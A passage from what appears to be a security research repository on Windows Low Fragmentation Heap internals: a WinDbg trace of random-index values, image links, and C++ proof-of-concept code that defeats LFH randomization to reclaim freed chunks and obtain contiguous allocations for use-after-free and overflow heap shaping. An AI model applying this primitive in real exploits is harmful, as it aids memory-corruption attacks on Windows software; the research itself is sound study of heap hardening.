0x00007ffbe7e30000, currIdx == 0x00000000000000ef 586 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f0 587 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f1 588 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f2 589 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f3 590 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f4 591 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f5 592 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f6 593 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f7 594 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f8 595 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f9 596 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fa 597 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fb 598 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fc 599 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fd 600 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fe 601 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ff 602 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000000 603 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000001 604 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000002 605 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000003 606 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000004 607 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000005 608 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000006 609 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000007 610 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000008 611 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000009 612 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000a 613 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000b 614 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000c 615 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000d 616 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000e 617 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000f 618 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000010 619 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000011 620 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000012 621 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000013 622 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000014 623 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000015 624 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000016 625 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000017 626 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000018 627 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000019 628 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001a 629 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001b 630 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001c 631 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001d 632 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001e 633 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001f 634 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000020 635 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000021 636 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000022 637 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000023 638 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000024 639 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000025 640 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000026 641 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000027 642 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000028 643 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000029 644 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002a 645 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002b 646 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002c 647 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002d 648 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002e 649 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002f 650 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000030 651 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000031 652 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000032 653 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000033 654 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000034 655 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000035 656 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000036 657 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000037 658 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000038 659 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000039 660 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003a 661 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003b 662 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003c 663 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003d 664 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003e 665 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003f 666 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000040 667 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000041 668 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000042 669 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000043 670 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000044 671 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000045 672 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000046 673 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000047 674 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000048 675 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000049 676 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004a 677 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004b 678 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004c 679 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004d 680 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004e 681 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004f 682 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000050 683 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000051 684 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000052 685 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000053 686 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000054 687 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000055 688 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000056 689 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000057 690 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000058 691 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000059 692 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005a 693 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005b 694 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005c 695 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005d 696 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005e 697 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005f 698 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000060 699 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000061 700 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000062 701 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000063 702 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000064 703 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000065 704 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000066 705 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000067 706 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000068 707 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000069 708 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006a 709 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006b 710 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006c 711 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006d 712 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006e 713 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006f 714 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000070 715 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000071 716 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000072 717 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000073 718 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000074 719 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000075 720 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000076 721 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000077 722 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000078 723 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000079 724 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007a 725 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007b 726 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007c 727 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007d 728 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007e 729 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007f 730 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000080 731 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000081 732 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000082 733 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000083 734 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000084 735 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000085 736 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000086 737 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000087 738 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000088 739 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000089 740 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008a 741 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008b 742 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008c 743 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008d 744 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008e 745 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008f 746 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000090 747 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000091 748 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000092 749 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000093 750 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000094 751 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000095 752 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000096 753 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000097 754 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000098 755 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000099 756 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009a 757 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009b 758 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009c 759 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009d 760 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009e 761 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009f 762 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a0 763 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a1 764 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a2 765 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a3 766 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a4 767 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a5 768 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a6 769 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a7 770 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a8 771 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a9 772 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000aa 773 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ab 774 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ac 775 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ad 776 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ae 777 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000af 778 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b0 779 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b1 780 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b2 781 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b3 782 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b4 783 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b5 784 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b6 785 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b7 786 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b8 787 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b9 788 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ba 789 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bb 790 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bc 791 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bd 792 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000be 793 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bf 794 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c0 795 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c1 796 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c2 797 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c3 798 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c4 799 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c5 800 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c6 801 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c7 802 | ModLoad: 00007ffb`e4280000 00007ffb`e4291000 C:\Windows\System32\kernel.appcore.dll 803 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c8 804 | ModLoad: 00007ffb`e5d80000 00007ffb`e5e1d000 C:\Windows\System32\msvcrt.dll 805 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c9 806 | ModLoad: 00007ffb`e7cd0000 00007ffb`e7df3000 C:\Windows\System32\RPCRT4.dll 807 | ntdll!RtlUserThreadStart: 808 | 00007ffb`e7e9fef0 4883ec48 sub rsp,48h 809 | -------------------------------------------------------------------------------- /images/RtlpInitializeLfhRandomDataArray.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/RtlpInitializeLfhRandomDataArray.png -------------------------------------------------------------------------------- /images/RtlpLowFragHeapRandomData_xrefs.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/RtlpLowFragHeapRandomData_xrefs.PNG -------------------------------------------------------------------------------- /images/build_14393_logic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/build_14393_logic.png -------------------------------------------------------------------------------- /images/build_16179_logic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/build_16179_logic.png -------------------------------------------------------------------------------- /images/check_freed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/check_freed.png -------------------------------------------------------------------------------- /images/end_of_RtlpHpLfhSubsegmentInitialize.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/end_of_RtlpHpLfhSubsegmentInitialize.PNG -------------------------------------------------------------------------------- /images/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/example.png -------------------------------------------------------------------------------- /images/example_16179.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/example_16179.png -------------------------------------------------------------------------------- /images/getContiguousAllocations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/getContiguousAllocations.png -------------------------------------------------------------------------------- /images/getFreedChunk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/getFreedChunk.png -------------------------------------------------------------------------------- /images/trivial_heap_shape.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/Deterministic_LFH/ad6ba433a8fd01dbb9f7faf548660f9b81fdfa23/images/trivial_heap_shape.png -------------------------------------------------------------------------------- /src/Defs.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | enum STATUS { 4 | SUCCESS = 0, 5 | FAIL = 0xffffffff, 6 | }; 7 | 8 | #define SIZE 0xc0 9 | #define RandomDataArrayLength 0x100 10 | #define HEAP_ENTRY_SIZE 0x8 11 | 12 | void checkRandomization(HANDLE hHeap, size_t size); 13 | STATUS activateLFHBucket(HANDLE hHeap, size_t size); 14 | STATUS getFreedChunk(HANDLE hHeap, size_t size); 15 | STATUS getContiguousAllocations(HANDLE hHeap, size_t size); 16 | -------------------------------------------------------------------------------- /src/Source.cpp: -------------------------------------------------------------------------------- 1 | #include "Defs.h" 2 | #include 3 | #include 4 | 5 | 6 | int main(void) { 7 | HANDLE hHeap; 8 | 9 | hHeap = HeapCreate(0x0, 0x0, 0x0); 10 | printf("[*] activate LFH bucket for size 0x%x\n", SIZE); 11 | if (activateLFHBucket(hHeap, SIZE) < 0) { 12 | printf("[*] Error activating LFH bucket\n"); 13 | return -1; 14 | } 15 | 16 | printf("\n---------------------Check randomization----------------------------------\n"); 17 | checkRandomization(hHeap, SIZE); 18 | 19 | printf("\n-------------------------UAF Exploit--------------------------------------\n"); 20 | getFreedChunk(hHeap, SIZE); 21 | printf("\n---------------------Contiguous Exploit-----------------------------------\n"); 22 | getContiguousAllocations(hHeap, SIZE); 23 | return 0; 24 | } 25 | 26 | void checkRandomization(HANDLE hHeap, size_t size) { 27 | LPVOID chunk, chunk2; 28 | 29 | /* Check for UAF */ 30 | chunk = HeapAlloc(hHeap, 0x0, size); 31 | HeapFree(hHeap, 0x0, chunk); 32 | chunk2 = HeapAlloc(hHeap, 0x0, size); 33 | 34 | if (chunk != chunk2) { 35 | printf("[*] Good, different allocations:\n\t0x%p\n\t0x%p\n", chunk, chunk2); 36 | } 37 | else { 38 | printf("[*] Odd...same allocations\n"); 39 | } 40 | 41 | /* check for contiguous*/ 42 | chunk = HeapAlloc(hHeap, 0x0, size); 43 | chunk2 = HeapAlloc(hHeap, 0x0, size); 44 | 45 | if (chunk != (LPVOID)((char*)chunk2 - (size + HEAP_ENTRY_SIZE))) { 46 | printf("[*] Good, non contiguous allocations:\n\t0x%p\n\t0x%p\n", chunk, chunk2); 47 | } 48 | else { 49 | printf("[*] Odd...contiguous allocations\n\t0x%p\n\t0x%p\n", chunk, chunk2); 50 | } 51 | } 52 | 53 | /* 54 | Activate LFH bucket for certain size. 55 | For the first time, 0x12 contiguous allocations have to be done, 56 | afterwords, 0x11 contiguous allocations have to be done. 57 | For safety, let's go on 0x12. 58 | */ 59 | STATUS activateLFHBucket(HANDLE hHeap, size_t size) { 60 | for (size_t i = 0; i < 0x12; ++i) { 61 | if (!HeapAlloc(hHeap, 0x0, size)) { 62 | return FAIL; 63 | } 64 | } 65 | return SUCCESS; 66 | } 67 | 68 | /* 69 | For UAF exploits, we would like the following stub: 70 | p = malloc(size) 71 | ... 72 | free(p) 73 | ... 74 | p2 = malloc(size) 75 | return the same chunk (p == p2). 76 | So, take advantage on the fact of the 0x100 length of the randomDataArray 77 | */ 78 | STATUS getFreedChunk(HANDLE hHeap, size_t size) { 79 | LPVOID chunk, tmp_chunk; 80 | 81 | chunk = HeapAlloc(hHeap, 0x0, size); 82 | HeapFree(hHeap, 0x0, chunk); 83 | printf("[*] Chunk 0x%p is freed in the userblocks for bucket size 0x%zx\n", chunk, size); 84 | 85 | for (size_t i = 0; i < RandomDataArrayLength - 1; ++i) { 86 | tmp_chunk = HeapAlloc(hHeap, 0x0, size); 87 | if (!tmp_chunk) { 88 | return FAIL; 89 | } 90 | HeapFree(hHeap, 0x0, tmp_chunk); 91 | } 92 | 93 | tmp_chunk = HeapAlloc(hHeap, 0x0, size); 94 | if (chunk == tmp_chunk) { 95 | printf("[*] Success! chunk 0x%p is returned!\n", tmp_chunk); 96 | } 97 | else { 98 | printf("[*] Fail, chunk 0x%p is returned\n", tmp_chunk); 99 | } 100 | 101 | return SUCCESS; 102 | } 103 | 104 | /* 105 | For currptions exploits (different varios of heapo's, for example), 106 | we would like to shape the heap to be like this: 107 | 108 | ... [spray][spray][spray][vuln_chunk][override_chunk][spray][spray] 109 | 110 | This is quite difficult with the randomization in the LFH bitmap. 111 | So, again, take advantage on the fact of the 0x100 length of the randomDataArray. 112 | Explanation in the README.md file. 113 | */ 114 | STATUS getContiguousAllocations(HANDLE hHeap, size_t size) { 115 | LPVOID chunk, tmp_chunk; 116 | 117 | chunk = HeapAlloc(hHeap, 0x0, size); 118 | printf("[*] Chunk 0x%p is freed in the userblocks for bucket size 0x%zx\n", chunk, size); 119 | 120 | for (size_t i = 0; i < RandomDataArrayLength - 1; ++i) { 121 | tmp_chunk = HeapAlloc(hHeap, 0x0, size); 122 | if (!tmp_chunk) { 123 | return FAIL; 124 | } 125 | HeapFree(hHeap, 0x0, tmp_chunk); 126 | } 127 | 128 | tmp_chunk = HeapAlloc(hHeap, 0x0, size); 129 | if (chunk == (LPVOID)((char*)tmp_chunk - (size + HEAP_ENTRY_SIZE))) { 130 | printf("[*] Success! 0x%p chunk is returned!\n", tmp_chunk); 131 | } 132 | else { 133 | printf("[*] Fail, 0x%p chunk is returned\n", tmp_chunk); 134 | } 135 | 136 | return SUCCESS; 137 | } 138 | --------------------------------------------------------------------------------